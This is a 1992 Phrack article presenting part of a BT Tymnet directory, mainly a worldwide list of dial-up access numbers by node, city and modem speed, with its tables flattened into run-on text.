Y 04506 Great Falls MT USA LOW B B C 406 Y 5136 Helena MT USA LOW B B C 406 Y 274 Asheville NC USA LOW B B C 704 Y 9986 Chapel Hill/Durham NC USA HIGH B B C 919 Y 9986 Chapel Hill/Durham NC USA HIGH B B C 919 Y 6793 Charlotte NC USA HIGH B B C 704 Y 6793 Charlotte NC USA HIGH B B C 704 Y 9986 Durham NC USA HIGH B B C 919 Y 9986 Durham NC USA HIGH B B C 919 Y 10985 Fayetteville NC USA LOW B B C 919 Y 3703 Gastonia NC USA LOW B B C 704 Y 2964 Greensboro NC USA MED B B C 919 Y 2004 Greenville NC USA LOW B B C 919 Y 1737 High Point NC USA LOW B B C 919 Y 7821 Kannapolis NC USA LOW B B C 704 Y 9324 Rocky Mount NC USA LOW B B C 919 Y 14364 Wilmington NC USA LOW B B C 919 Y 7068 Winston‑Salem NC USA MED B B C 919 Y 7068 Winston‑Salem NC USA MED B B C 919 Y 14444 Bismark ND USA LOW B B C 701 Y 5251 Fargo ND USA LOW B B C 701 Y 7233 Grand Forks ND USA LOW B B C 701 Y 4281 Minot ND USA LOW B B C 701 Y 14994 Minot ND USA LOW B B C 701 Y 6997 Grand Island NE USA LOW B B C 308 Y 9856 Lincoln NE USA LOW B B C 402 Y 2521 Omaha NE USA MED B B C 402 Y 7212 Concord NH USA LOW B B C 603 Y 6651 Durham NH USA LOW B B C 603 Y 3627 Hanover NH USA LOW B B C 603 Y 4027 Manchester NH USA LOW B B C 603 Y 1347 Nashua NH USA MED B B C 603 Y 1696 North Hampton NH USA LOW B B C 603 Y 1554 Peterborough NH USA LOW B B C 603 Y 1347 Salem/Nashua NH USA MED B B C 603 Y 883 Atlantic City NJ USA LOW B B C 609 Y 8693 Camden/Pennsauken NJ USA MED B B C 609 Y 8693 Cherry hill/Pennskn NJ USA MED B B C 609 Y 6334 Eatontown/Red Bank NJ USA LOW B B C 908 Y 6334 Eatontown/Red Bank NJ USA LOW B B C 908 Y 7618 Elizabeth/Newark NJ USA HIGH B B C 201 Y 7618 Elizabeth/Newark NJ USA HIGH B B C 201 Y 6319 Englewood Cliffs NJ USA MED B B C 201 Y 7618 Jersey City/Newark NJ USA HIGH B B C 201 Y 7618 Jersey City/Newark NJ USA HIGH B B C 201 Y 6334 Long Branch/Red Bank NJ USA LOW B B C 908 Y 6334 Long Branch/Red Bank NJ USA LOW B B C 908 Y 4378 Lyndhurst/Union City NJ USA HIGH B B C 201 Y 3820 Morristown NJ USA LOW B B C 201 Y 7618 Newark NJ USA HIGH B B C 201 Y 7618 Newark NJ USA HIGH B B C 201 Y 2312 Paterson NJ USA MED B B C 201 Y 8693 Pennsauken NJ USA MED B B C 609 Y 3319 Piscataway NJ USA HIGH B B C 908 Y 6334 Red Bank NJ USA LOW B B C 908 Y 2312 Ridgewood/Paterson NJ USA MED B B C 201 Y 8920 South Brunswick NJ USA HIGH B B C 609 Y 730 Trenton NJ USA LOW B B C 609 Y 4378 Union City NJ USA HIGH B B C 201 Y 7618 Union/Newark NJ USA HIGH B B C 201 Y 7618 Union/Newark NJ USA HIGH B B C 201 Y 14708 Vineland NJ USA LOW B B C 609 Y 2312 Wayne/Paterson NJ USA MED B B C 201 Y 661 Albuquerque NM USA MED B B C 505 Y 6630 Las Cruces NM USA LOW B B C 505 Y 14541 Rosewell NM USA LOW B B C 505 Y 4604 Santa Fe NM USA LOW B B C 505 Y 2140 Carson City NV USA MED B B C 702 Y 2140 Carson City NV USA MED B B C 702 Y 13943 Las Vegas NV USA MED B B C 702 Y 13943 Las Vegas NV USA MED B B C 702 Y 2140 Reno/Carson City NV USA MED B B C 702 Y 2140 Reno/Carson City NV USA MED B B C 702 Y 9192 Albany NY USA MED B B C 518 Y 5312 Binghampton NY USA LOW B B C 607 Y 9194 Buffalo NY USA MED B B C 716 Y 582 Centereach/Lk Grove NY USA MED B B C 516 Y 6612 Corning NY USA LOW B B C 607 Y 15117 Elmira NY USA LOW B B C 607 Y 09193 Hempstead NY USA MED B B C 516 Y 9193 Hempstead NY USA MED B B C 516 Y 8811 Huntington/Melville NY USA MED B B C 516 Y 11191 Ithaca NY USA LOW B B C 607 Y 8861 Kingston NY USA LOW B B C 914 Y 582 Lake Grove NY USA MED B B C 516 Y 8811 Melville NY USA MED B B C 516 Y 9193 Mineola/Hempstead NY USA MED B B C 516 Y 9193 Mineola/Hempstead NY USA MED B B C 516 Y 10615 New City NY USA LOW B B C 914 Y 1059 New York NY USA HIGH B B C 212 Y 1059 New York NY USA HIGH B B C 212 Y 1059 New York NY USA HIGH B B C 212 Y 1059 New York NY USA HIGH B B C 212 Y 3480 Niagara Falls NY USA LOW B B C 716 Y 6019 Perinton/Pittsford NY USA HIGH B B C 716 Y 6019 Pittsford NY USA HIGH B B C 716 Y 2930 Poughkeepsie NY USA LOW B B C 914 Y 6019 Rochester/Pittsford NY USA HIGH B B C 716 Y 582 Ronkonkoma/Lake Grve NY USA MED B B C 516 Y 9192 Schenectady/Albany NY USA MED B B C 518 Y 4710 Syracuse NY USA MED B B C 315 Y 1101 Utica NY USA LOW B B C 315 Y 08109 Watertown NY USA LOW B B C 315 Y 8571 White Plains NY USA HIGH B B C 914 Y 8571 White Plains NY USA HIGH B B C 914 Y 8740 Akron OH USA MED B B C 216 Y 8740 Akron OH USA MED B B C 216 Y 8160 Canton OH USA LOW B B C 216 Y 1785 Cincinnati OH USA HIGH B B C 513 Y 1785 Cincinnati OH USA HIGH B B C 513 Y 4222 Cleveland OH USA HIGH B B C 216 Y 4222 Cleveland OH USA HIGH B B C 216 Y 9347 Columbus OH USA HIGH B B C 614 Y 9511 Dayton OH USA MED B B C 513 Y 8859 Elyria OH USA LOW B B C 216 Y 1427 Findly OH USA LOW B B C 419 Y 4622 Lima OH USA LOW B B C 419 Y 6022 Mansfield OH USA LOW B B C 419 Y 13471 Springfield OH USA LOW B B C 513 Y 7313 Steubenville/Wntsvl OH USA LOW B B C 614 Y 1190 Toledo OH USA MED B B C 419 Y 1190 Toledo OH USA MED B B C 419 Y 11131 Warren OH USA LOW B B C 216 Y 7313 Wintersville OH USA LOW B B C 614 Y 4909 Youngstown OH USA LOW B B C 216 Y 7231 Ardmore OK USA LOW B B C 405 Y 10816 Enid OK USA LOW B B C 405 Y 16218 Lawton OK USA LOW B B C 405 Y 9165 Oklahoma City OK USA HIGH B B C 405 Y 6605 Tulsa OK USA HIGH B B C 918 Y 06605 Tulsa OK USA HIGH B B C 918 Y 2820 Bend OR USA LOW B B C 503 Y 8603 Corvallis OR USA LOW B B C 503 Y 9857 Eugene OR USA LOW B B C 503 Y 7883 Medford OR USA LOW B B C 503 Y 9164 Portland OR USA HIGH B B C 503 Y 9164 Portland OR USA HIGH B B C 503 Y 3174 Salem OR USA LOW B B C 503 Y 9857 Springfield/Eugene OR USA LOW B B C 503 Y 3432 Allentown/Bethlehem PA USA MED B B C 215 Y 7025 Altoona PA USA LOW B B C 814 Y 3432 Bethlehem PA USA MED B B C 215 Y 3896 Butler PA USA LOW B B C 412 Y 182 Coatesville PA USA LOW B B C 215 Y 182 Downington/Coatsvlle PA USA LOW B B C 215 Y 3338 Erie PA USA LOW B B C 814 Y 13069 Greensburg PA USA LOW B B C 412 Y 1707 Harrisburg/Lemoyne PA USA MED B B C 717 Y 8376 Johnstown PA USA LOW B B C 814 Y 508 KingofPrussa/Norstwn PA USA MED B B C 215 Y 7853 Lancaster PA USA LOW B B C 717 Y 13069 Latrobe/Greensburg PA USA LOW B B C 412 Y 1707 Lemoyne PA USA MED B B C 717 Y 14610 Mt. Penn PA USA LOW B B C 215 Y 7851 New Castle PA USA LOW B B C 412 Y 508 Norristown PA USA MED B B C 215 Y 9581 Philadelphia PA USA HIGH B B C 215 Y 9581 Philadelphia PA USA HIGH B B C 215 Y 9581 Philadelphia PA USA HIGH B B C 215 Y 7408 Pittsburgh PA USA HIGH B B C 412 Y 1572 Scranton PA USA LOW B B C 717 Y 8907 Secane PA USA LOW B B C 215 Y 3765 State College PA USA LOW B B C 814 Y 508 Valley Forge/Norstwn PA USA MED B B C 215 Y 7941 Wilkes Barre PA USA LOW B B C 717 Y 11157 Williamsport PA USA LOW B B C 717 Y 4382 York PA USA LOW B B C 717 Y 6425 Middletown RI USA LOW B B C 401 Y 6425 Newport/Middletown RI USA LOW B B C 401 Y 9130 Pawtucket/Providence RI USA HIGH B B C 401 Y 9130 Pawtucket/Providence RI USA HIGH B B C 401 Y 9130 Providence RI USA HIGH B B C 401 Y 9130 Providence RI USA HIGH B B C 401 Y 9130 Warwick/Providence RI USA HIGH B B C 401 Y 9130 Warwick/Providence RI USA HIGH B B C 401 Y 11293 Woonsocket RI USA LOW B B C 401 Y 2917 Aiken SC USA LOW B B C 803 Y 9907 Charleston SC USA LOW B B C 803 Y 9993 Columbia SC USA MED B B C 803 Y 9993 Columbia SC USA MED B B C 803 Y 9993 Columbia SC USA MED B B C 803 Y 8860 Florence SC USA LOW B B C 803 Y 3380 Greenville SC USA MED B B C 803 Y 3380 Greenville SC USA MED B B C 803 Y 935 Myrtle Beach SC USA LOW B B C 803 Y 14407 Spartanburg SC USA LOW B B C 803 Y 8872 Pierre SD USA LOW B B C 605 Y 2171 Rapid City SD USA LOW B B C 605 Y 8819 Sioux Falls SD USA LOW B B C 605 Y 1836 Blountville TN USA LOW B B C 615 Y 2937 Chattanooga TN USA MED B B C 615 Y 5720 Clarkesville TN USA LOW B B C 615 Y 3175 Jackson TN USA LOW B B C 901 Y 8502 Johnson City TN USA LOW B B C 615 Y 8328 Kingsport TN USA LOW B B C 615 Y 13895 Knoxville TN USA MED B B C 615 Y 13895 Knoxville TN USA MED B B C 615 Y 1551 Memphis TN USA MED B B C 901 Y 1551 Memphis TN USA MED B B C 901 Y 9141 Nashville TN USA HIGH B B C 615 Y 9141 Nashville TN USA HIGH B B C 615 Y 9141 Nashville TN USA HIGH B B C 615 Y 9683 Oakridge TN USA LOW B B C 615 Y 9114 Sevierville TN USA LOW B B C 615 Y 6980 Abilene TX USA LOW B B C 915 Y 8736 Amarillo TX USA LOW B B C 806 Y 9337 Arlington/Fort Worth TX USA MED B B C 817 Y 1306 Austin TX USA HIGH B B C 512 Y 1306 Austin TX USA HIGH B B C 512 Y 1306 Austin TX USA HIGH B B C 512 Y 7758 Baytown TX USA LOW B B C 713 Y 5115 Brownsville TX USA LOW B B C 512 Y 14871 Bryan TX USA LOW B B C 409 Y 4497 College Statn/Bryan TX USA LOW B B C 409 Y 11966 Corpus Christi TX USA MED B B C 512 Y 2948 Dallas TX USA HIGH B B C 214 Y 2948 Dallas TX USA HIGH B B C 214 Y 2948 Dallas TX USA HIGH B B C 214 Y 5990 Denton TX USA LOW B B C 817 Y 210 El Paso TX USA MED B B C 915 Y 210 El Paso TX USA MED B B C 915 Y 9337 Fort Worth TX USA MED B B C 817 Y 3615 Galveston TX USA LOW B B C 409 Y 13481 Harlingen TX USA LOW B B C 512 Y 4562 Houston TX USA HIGH B B C 713 Y 4562 Houston TX USA HIGH B B C 713 Y 4562 Houston TX USA HIGH B B C 713 Y 4562 Houston TX USA HIGH B B C 713 Y 4562 Houston TX USA HIGH B B C 713 Y 9861 Killeen TX USA LOW B B C 817 Y 3715 Laredo TX USA LOW B B C 512 Y 948 Longview TX USA LOW B B C 903 Y 4435 Lubbock TX USA LOW B B C 806 Y 12022 Mcallen TX USA LOW B B C 512 Y 8254 McKinney TX USA LOW B B C 214 Y 04905 Midland TX USA LOW B B C 915 Y 9322 Nederland/Pt. Arthur TX USA LOW B B C 409 Y 2326 Odessa/Midland TX USA LOW B B C 915 Y 9322 Port Arthur TX USA LOW B B C 409 Y 8511 San Angelo TX USA LOW B B C 915 Y 9169 San Antonio TX USA HIGH B B C 512 Y 09169 San Antonio TX USA HIGH B B C 512 Y 9169 San Antonio TX USA HIGH B B C 512 Y 6248 Sherman TX USA LOW B B C 903 Y 14777 Temple TX USA LOW B B C 817 Y 8871 Texarkana TX USA LOW B B C 903 Y 3615 Texas City/Galveston TX USA LOW B B C 409 Y 3826 Tyler TX USA LOW B B C 903 Y 10996 Victoria TX USA LOW B B C 512 Y 9859 Waco TX USA LOW B B C 817 Y 6862 Wichita Falls TX USA LOW B B C 817 Y 07936 Ogden UT USA LOW B B C 801 Y 534 Salt Lake City UT USA HIGH B B C 801 Y 534 Salt Lake City UT USA HIGH B B C 801 Y 2262 Alexandria/Fairfax VA USA HIGH B B C 703 Y 2262 Alexandria/Fairfax VA USA HIGH B B C 703 Y 2262 Alexandria/Fairfax VA USA HIGH B B C 703 Y 2262 Alexandria/Fairfax VA USA HIGH B B C 703 Y 2262 Alexandria/Fairfax VA USA HIGH B B C 703 Y 2262 Arlington/Fairfax VA USA HIGH B B C 703 Y 2262 Arlington/Fairfax VA USA HIGH B B C 703 Y 2262 Arlington/Fairfax VA USA HIGH B B C 703 Y 2262 Arlington/Fairfax VA USA HIGH B B C 703 Y 2262 Arlington/Fairfax VA USA HIGH B B C 703 Y 8531 Charlottesville VA USA LOW B B C 804 Y 2262 Fairfax VA USA HIGH B B C 703 Y 2262 Fairfax VA USA HIGH B B C 703 Y 2262 Fairfax VA USA HIGH B B C 703 Y 2262 Fairfax VA USA HIGH B B C 703 Y 2262 Fairfax VA USA HIGH B B C 703 Y 8215 Hampton VA USA MED B B C 804 Y 10149 Harrisonburg VA USA LOW B B C 703 Y 2839 Lynchburg VA USA LOW B B C 804 Y 4975 Manassas VA USA LOW B B C 703 Y 413 Midlothian/Richmond VA USA MED B B C 804 Y 413 Midlothian/Richmond VA USA MED B B C 804 Y 8459 Newport News VA USA MED B B C 804 Y 6986 Norfolk VA USA MED B B C 804 Y 14706 Petersburg VA USA LOW B B C 804 Y 6986 Portsmouth/Norfolk VA USA MED B B C 804 Y 6986 Portsmouth/Norfolk VA USA MED B B C 804 Y 413 Richmond VA USA MED B B C 804 Y 413 Richmond VA USA MED B B C 804 Y 4026 Roanoke VA USA LOW B B C 703 Y 6986 Virginia Bch/Norfolk VA USA MED B B C 804 Y 6986 Virginia Bch/Norfolk VA USA MED B B C 804 Y 4557 Williamsburg VA USA LOW B B C 804 Y 3435 Burlington VT USA LOW B B C 802 Y 1827 Auburn WA USA LOW B B C 206 Y 9170 Bellevue/Seattle WA USA HIGH B B C 206 Y 9170 Bellevue/Seattle WA USA HIGH B B C 206 Y 9170 Bellevue/Seattle WA USA HIGH B B C 206 Y 8373 Bellingham WA USA LOW B B C 206 Y 773 Bremerton WA USA LOW B B C 206 Y 1827 Enumclaw/Auburn WA USA LOW B B C 206 Y 5133 Everett WA USA LOW B B C 206 Y 2944 Longview WA USA LOW B B C 206 Y 2508 Olympia WA USA LOW B B C 206 Y 6113 Port Angeles WA USA LOW B B C 206 Y 5298 Pullman WA USA LOW B B C 509 Y 2116 Richland WA USA MED B B C 509 Y 2116 Richland WA USA MED B B C 509 Y 9170 Seattle WA USA HIGH B B C 206 Y 9170 Seattle WA USA HIGH B B C 206 Y 9170 Seattle WA USA HIGH B B C 206 Y 159 Spokane WA USA MED B B C 509 Y 906 Tacoma WA USA LOW B B C 206 Y 5447 Vancouver WA USA LOW B B C 206 Y 8931 Yakima WA USA LOW B B C 509 Y 8868 Appleton WI USA LOW B B C 414 Y 5314 Beloit WI USA LOW B B C 608 Y 9167 Brookfield WI USA HIGH B B C 414 Y 9786 Eau Claire WI USA LOW B B C 715 Y 3421 Green Bay WI USA LOW B B C 414 Y 5314 Janesville/Beloit WI USA LOW B B C 608 Y 6966 Kenosha WI USA LOW B B C 414 Y 4633 La Crosse WI USA LOW B B C 608 Y 2635 Madison WI USA LOW B B C 608 Y 9167 Milwaukee/Brookfield WI USA HIGH B B C 414 Y 5966 Oshkosh WI USA LOW B B C 414 Y 6966 Racine/Kenosha WI USA LOW B B C 414 Y 1792 Sheboygan WI USA LOW B B C 414 Y 5144 Wausau WI USA LOW B B C 715 Y 5465 West Bend WI USA LOW B B C 414 Y 3431 Charleston WV USA LOW B B C 304 Y 6594 Huntington WV USA LOW B B C 304 Y 890 Morgantown WV USA LOW B B C 304 Y 12924 Parkersburg WV USA LOW B B C 304 Y 890 Westover/Morgantown WV USA LOW B B C 304 Y 6681 Wheeling WV USA LOW B B C 304 Y 10537 Casper WY USA LOW B B C 307 Y 4213 Cheyenne WY USA LOW B B C 307 Y 1752 Laramie WY USA LOW B B C 307 Y

B=BELL 103/113 (300 bps) or BELL 212A (1200 bps) compatable modems.

C=CCITT V.21(300 bps) or CCITT V.22 bis(2400 bps) or CCITT V.32 compatible

BT Tymnet, Part 3 of 3

==Phrack Inc.==

Volume Four, Issue Forty, File 10 of 14

_________________

||

|| BT Tymnet ||

|| British Telecom ||

||

|| Part 3 of 3 ||

||

|| Presented by Toucan Jones ||

||

|| August 1, 1992 ||

||_________________

Welcome Back to Tymnet Again!

PART 1

A. BT Tymnet Access Location Index

B. BT‑GNS Access Within Regional Bell Operating Companies 1. Bell Atlantic

2. BellSouth

3. Pacific Bell

4. Southwestern Bell

5. Southern New England Telephone

C. Database or Timesharing Companies on Tymnet

D. Service Classifications For Database or Timesharing Companies Using Tymnet E. Summary of Global Network Services By Country

F. Terminal Identifiers

G. Login Options

PART 2

H. BT‑GNS Worldwide Asynchronus Outdial Service

PART 3

I. BT‑GNS Worldwide Access Sorted By Node

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

I. BT‑GNS Worldwide Access Sorted By Node

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

DIALUP ACCESS M

PROV 100'S BPS N NODE CITY ST CNTRY DENS 3 12 24 96 ACCESS NO. P COMMENTS

‑‑‑‑‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑ ‑‑‑‑‑ ‑‑‑‑

Porto Alegre BRA BGC C (011) 15331 N BGC Access Porto Alegro BRA BGC C (011) 15311 N BGC Access Cartago CRI BGC C C 51‑2000 N BGC Access C. Quesada CRI BGC C C 46‑2000 N BGC Access Heredia CRI BGC C C 38‑2000 N BGC Access Kuwait City KUW BGC C 143 N BGC Access Rio BRA BGC C (021)2538153 N BGC Access Cairo EGY BGC C (2)3907102 N BGC Access Sao Paolo BRA BGC C (011) 1531 N BGC Access Antofaganta CHI BGC C C (083)251634 Y BGC Access Iguigue CHI BGC C C (051)27907 Y BGC Access La Serena CHI BGC C C (051)215751 Y BGC Access Punta Arenas CHI BGC C C (061)28018 Y BGC Access Santiago CHI BGC C C (02)6987788 Y BGC Access Talca CHI BGC C C (041)234814 Y BGC Access Temuco CHI BGC C C (045)231476 Y BGC Access Valdivia CHI BGC C C (061)28018 Y BGC Access Valparaiso CHI BGC C C (032)258052 Y BGC Access Beijing CNA BGC C 3014443 N BGC Access Alajvela CRI BGC C C 41‑2000 N BGC Access Liberia CRI BGC C C 66‑2000 N BGC Access Cairo EGY BGC C (2) 390‑9111 N BGC Access Orste CRI BGC C C 20‑2000 N BGC Access Limon CRI BGC C C 58‑2000 N BGC Access Puntapbnas CRI BGC C C 61‑2000 N BGC Access San Jose CRI BGC C C 57‑2000 N BGC Access S.Isidro CRI BGC C C 71‑2000 N BGC Access Cairo EGY BGC C (2) 390‑7203 N BGC Access Bombay IND BGC C (22) 275‑916 N BGC Access Bombay IND BGC C (22) 275‑847 N BGC Access Adak AK USA ALAS B B C 907/592‑2557 N Anchorage AK USA ALAS C 907/258‑6607 Y Anchorage AK USA ALAS B B 907/258‑7222 N Barrow AK USA ALAS B B 907/852‑2425 N Stat Mux Bethel AK USA ALAS B B 907/543‑2411 N Stat Mux Cantwell AK USA ALAS B B C 907/768‑2700 N Cordova AK USA ALAS B B 907/424‑3744 N Craig AK USA ALAS B B C 907/826‑2948 N Dead horse AK USA ALAS B B 907/659‑2777 N Delta Junction AK USA ALAS B B 907/895‑5070 N Dillingham AK USA ALAS B B 907/842‑2688 N Stat Mux Dutch Harbor AK USA ALAS B B C 907/581‑1820 N Fairbanks AK USA ALAS C 907/452‑5848 Y Fairbanks AK USA ALAS B B 907/456‑3282 N Glennallen AK USA ALAS B B 907/822‑5231 N Haines AK USA ALAS B 907/766‑2171 N Healy AK USA ALAS B B C 907/683‑1350 N Homer AK USA ALAS B B 907/235‑5239 N Juneau AK USA ALAS C 907/789‑1976 Y Juneau AK USA ALAS B B 907/789‑7009 N Kenai AK USA ALAS B B 907/262‑1990 N Ketchikan AK USA ALAS B B 907/225‑1871 N Stat Mux King Salmon AK USA ALAS B B 907/246‑3049 N Kodiak AK USA ALAS B B 907/486‑4061 N Stat Mux Kotzebue AK USA ALAS B B 907/442‑2602 N Mcgrath AK USA ALAS B B 907/524‑3256 N Stat Mux Menana AK USA ALAS B 907/832‑5214 N Nome AK USA ALAS B B 907/443‑2256 N Stat Mux Northway AK USA ALAS B B 907/778‑2301 N Stat Mux Palmer/Wasilla AK USA ALAS B B 907/745‑0200 N Petersburg AK USA ALAS B 907/772‑3878 N Prudhoe Bay AK USA ALAS B B 907/659‑2777 N Seward AK USA ALAS B B 907/224‑3126 N Stat Mux Sitka AK USA ALAS B B 907/747‑5887 N Stat Mux Skagway AK USA ALAS B 907/983‑2170 N Soldotna/Kenai AK USA ALAS B B 907/262‑1990 N St. Paul AK USA ALAS B B 907/546‑2320 N Stat Mux Tanana AK USA ALAS B B 907/366‑7167 N Stat Mux Tok AK USA ALAS B 907/883‑4747 N Unalaska/Dutch Hbr. AK USA ALAS B B C 907/581‑1820 N Valdez AK USA ALAS B B 907/835‑4987 N Stat Mux Wasilla AK USA ALAS B B 907/745‑0200 N Whittier AK USA ALAS B B 907/472‑2467 N Stat Mux Wrangell AK USA ALAS B 907/874‑2394 N Yakutat AK USA ALAS B B 907/784‑3453 N Stat Mux Kuwait City KUW BGC C 142 N BGC Access Kuwait City KUW BGC C 141 N BGC Access Kuala Lumpur MAL BGC C (30) 2328800 N BGC Access Kuala Lumpur MAL BGC C (30) 2328855 N BGC Access Penang MAL BGC C (04) 375588 N BGC Access Penang MAL BGC C (04) 360088 N BGC Access Kota Kinabalu MAL BGC C (088) 218800 N BGC Access Kota Kinabalu MAL BGC C (088) 218855 N BGC Access Petaling MAL BGC C C (03) 7926600 N BGC Access Ipoh MAL BGC C (05) 548533 N BGC Access Abu Dhabi UAE BGC C (4) 400‑2763 N BGC Access Surabaya IND BGC C 21242 N BGC Access Jakarta IND BGC C 3805476 N BGC Access Abu Dhabi UAE BGC C (4) 4002764 N BGC Access Izmir TUR BGC C 145‑20 N BGC Access Abu Dhabi UAE BGC C (4) 400‑2760 N BGC Access Jakarta IND BGC C 3805445 N BGC Access Jakarta IND BGC C 3805477 N BGC Access Bandung IND BGC C 57441 N BGC Access Abidjan IVC BGC C C 612211 N BGC Access Lisbon POR BGC C (06) 7174 N BGC Access Kuantan MAL BGC C (09) 508800 N BGC Access Istanbul TUR BGC C 511 4083 N BGC Access Coimbra POR BGC C (03) 7173 N BGC Access Khon Kaen THA BGC C (2) 245‑581 N BGC Access Abu Dhabi UAE BGC C (4) 400‑2761 N BGC Access Abidjan IVC BGC C 612210 N BGC Access Coimbra POR BGC C (03) 7172 N BGC Access Bangkok THA BGC C (2) 233‑9905 N BGC Access Jakarta IND BGC C 370208 N BGC Access Jakarta IND BGC C 370195 N BGC Access Medan IND BGC C 510977 N BGC Access Semarang IND BGC C C 20008 N BGC Access Porto POR BGC C (05) 7173 N BGC Access Porto POR BGC C (05) 7172 N BGC Access Porto POR BGC C (05) 7173 N BGC Access Medan IND BGC C 511977 N BGC Access Medan IND BGC C 512977 N BGC Access Medan IND BGC C 513977 N BGC Access Ipoh MAL BGC C (05) 548444 N BGC Access Lisbon POR BGC C (06) 7172 N BGC Access Pattaya THA BGC C (2) 425‑313 N BGC Access Coimbra POR BGC C (03) 7173 N BGC Access Ankara TUR BGC C 310 4805 N BGC Access Lisbon POR BGC C (06) 7173 N BGC Access St. Thomas VIR 3 B 809/776‑7084 N TYMUSA St. Thomas VIR 3 B 809/774‑7099 N TYMUSA Bangkok THA BGC C (2) 233‑2312 N BGC Access Rio BRA BGC C (021)2538151 N BGC Access San Pedro CRI BGC C C 53‑2000 N BGC Access Chiengmai THA BGC C (2) 248‑719 N BGC Access Athens GRC BGC C (1) 884‑8428 N BGC Access Kuantan MAL BGC C (09) 508855 N BGC Access Reykjavik ICE BGC C 006 N BGC Access Hong Kong HKG PAC C 05‑877‑2553 N BISYNC 1663 Annapolis MD USA LOW B B C 410/224‑0520 Y 02026 Marshalltown IA USA LOW B B C 515/753‑0670 Y 02027 Milan ITA E2 B C C (2)66983004 N 02040 Geneva CHE E1 C C C (22)782‑9329 Y 02045 Albany NY USA MED B B C 518/458‑9724 Y 02045 Schenectady/Albany NY USA MED B B C 518/458‑9724 Y 02050 Casper WY USA LOW B B C 307/234‑4211 Y 02051 Cincinnati OH USA HIGH C 513/489‑2435 N TYM‑X25 02051 Cincinnati OH USA HIGH C 513/489‑2664 N TYM‑X25 02057 Sevierville TN USA LOW B B C 615/453‑0401 Y 02066 Indianapolis IN USA HIGH B B 317/631‑1002 N 02071 Las Cruces NM USA LOW B B C 505/525‑3401 Y 02074 Eugene OR USA LOW B B C 503/343‑0044 Y 02076 Oakland CA USA HIGH C 510/635‑1662 N TYM‑X25 02076 Alameda/Oakland CA USA HIGH C 510/635‑1662 N TYM‑X25 02076 Berkeley/Oakland CA USA HIGH C 510/635‑1662 N TYM‑X25 02076 Hayward/Oakland CA USA HIGH C 510/635‑1662 N TYM‑X25 02124 Yakima WA USA LOW B B C 509/248‑1462 Y 02145 Norristown PA USA MED C 215/666‑1984 N 02155 Bloomington IN USA LOW B B C 812/332‑0544 Y 02156 Dallas TX USA HIGH B B C 214/630‑5516 Y 02163 Cheyenne WY USA LOW B B C 307/638‑0403 Y 02235 Seattle WA USA HIGH B B C 206/281‑7141 Y 02235 Bellevue/Seattle WA USA HIGH B B C 206/281‑7141 Y 02246 Birmingham AL USA HIGH B B 205/942‑4141 N 02253 Boston MA USA HIGH C 617/439‑7628 N TYM‑X25 02253 Cambridge/Boston MA USA HIGH C 617/439‑7628 N TYM‑X25 02256 Elgin IL USA LOW B B C 708/888‑8113 Y 02261 Burlington VT USA LOW B B C 802/862‑1000 Y 02265 Albuquerque NM USA MED B B C 505/242‑8931 Y 02301 Eau Claire WI USA LOW B B C 715/833‑0121 Y 02304 New York NY USA HIGH C 212/269‑4640 Y 02326 Ormond Beach FL USA LOW B B C 904/673‑0034 Y 02331 Seattle WA USA HIGH B B C 206/281‑7141 Y 02331 Bellevue/Seattle WA USA HIGH B B C 206/281‑7141 Y 02340 Newark NJ USA HIGH C 201/824‑4201 Y 02340 Elizabeth/Newark NJ USA HIGH C 201/824‑4201 Y 02340 Jersey City/Newark NJ USA HIGH C 201/824‑4201 Y 02340 Union/Newark NJ USA HIGH C 201/824‑4201 Y 02344 Knoxville TN USA MED B B C 615/694‑0156 Y 02346 Norristown PA USA WATS B B C 800/###‑#### Y 02347 Grand Junction CO USA LOW B B C 303/241‑1643 Y 02354 Baltimore MD USA HIGH B B 410/547‑8100 N 02357 Bloomfield CT USA HIGH B B 203/242‑7140 N 02357 Hartford/Bloomfield CT USA HIGH B B 203/242‑7140 N 02364 Mesa/Phoenix AZ USA HIGH B B 602/254‑5811 N 02364 Phoenix AZ USA HIGH B B 602/254‑5811 N 02367 Champaign/Urbana IL USA LOW B B C 217/344‑3400 Y 02367 Urbana IL USA LOW B B C 217/344‑3400 Y 02376 Lima OH USA LOW B B C 419/228‑6343 Y 02377 Minneapolis MN USA HIGH C 612/338‑0845 Y 02377 St. Paul/Minneapolis MN USA HIGH C 612/338‑0845 Y 02402 Hattiesburg MS USA LOW B B C 601/582‑0286 Y 02413 Birmingham GBR E1 C C C (21632)6636 Y 02414 Aurora/Denver CO USA HIGH B B 303/830‑9210 N 02414 Boulder/Denver CO USA HIGH B B 303/830‑9210 N 02414 Denver CO USA HIGH B B 303/830‑9210 N 02423 All Cities CAY 3 B B 809/949‑7100 N TYMUSA 02432 Chattanooga TN USA MED B B C 615/265‑1020 Y 02435 Williamsburg VA USA LOW B B C 804/229‑6786 Y 02440 Brookfield WI USA HIGH B B 414/785‑1614 N 02440 Milwaukee/Brookfield WI USA HIGH B B 414/785‑1614 N 02443 Burbank CA USA LOW B B C 818/841‑4795 Y 02443 Glendale/Burbank CA USA LOW B B C 818/841‑4795 Y 02446 Texarkana TX USA LOW B B C 903/792‑4521 Y 02450 KingofPrussa/Norstwn PA USA MED B B C 215/666‑9190 Y 02450 Valley Forge/Norstwn PA USA MED B B C 215/666‑9190 Y 02453 Dallas TX USA HIGH B B 214/638‑8888 N 02465 Downrs Grove/Gln Eln IL USA MED B B 708/790‑4400 N 02465 Glen Ellyn IL USA MED B B 708/790‑4400 N 02465 Wheaton/Glen Ellyn IL USA MED B B 708/790‑4400 N 02472 Paris FRA E1 C C C (1)47728080 Y 02475 White Plains NY USA HIGH B B C 914/761‑9590 Y 02477 Alkmaar NLD E1 C C C C (72) 155190 Y 02503 Bellevue/Seattle WA USA HIGH B B 206/285‑0109 N 02503 Seattle WA USA HIGH B B 206/285‑0109 N 02517 Nashville TN USA HIGH B B C 615/889‑5790 Y 02521 Jacksonville FL USA MED C 904/724‑5994 Y 02544 Washington/Fairfax DC USA HIGH B B 703/691‑8200 N 02544 Bethesda/Fairfax MD USA HIGH B B 703/691‑8200 N 02544 Alexandria/Fairfax VA USA HIGH B B 703/691‑8200 N 02544 Arlington/Fairfax VA USA HIGH B B 703/691‑8200 N 02544 Fairfax VA USA HIGH B B 703/691‑8200 N 02545 Washington/Fairfax DC USA HIGH B B 703/691‑8200 N 02545 Bethesda/Fairfax MD USA HIGH B B 703/691‑8200 N 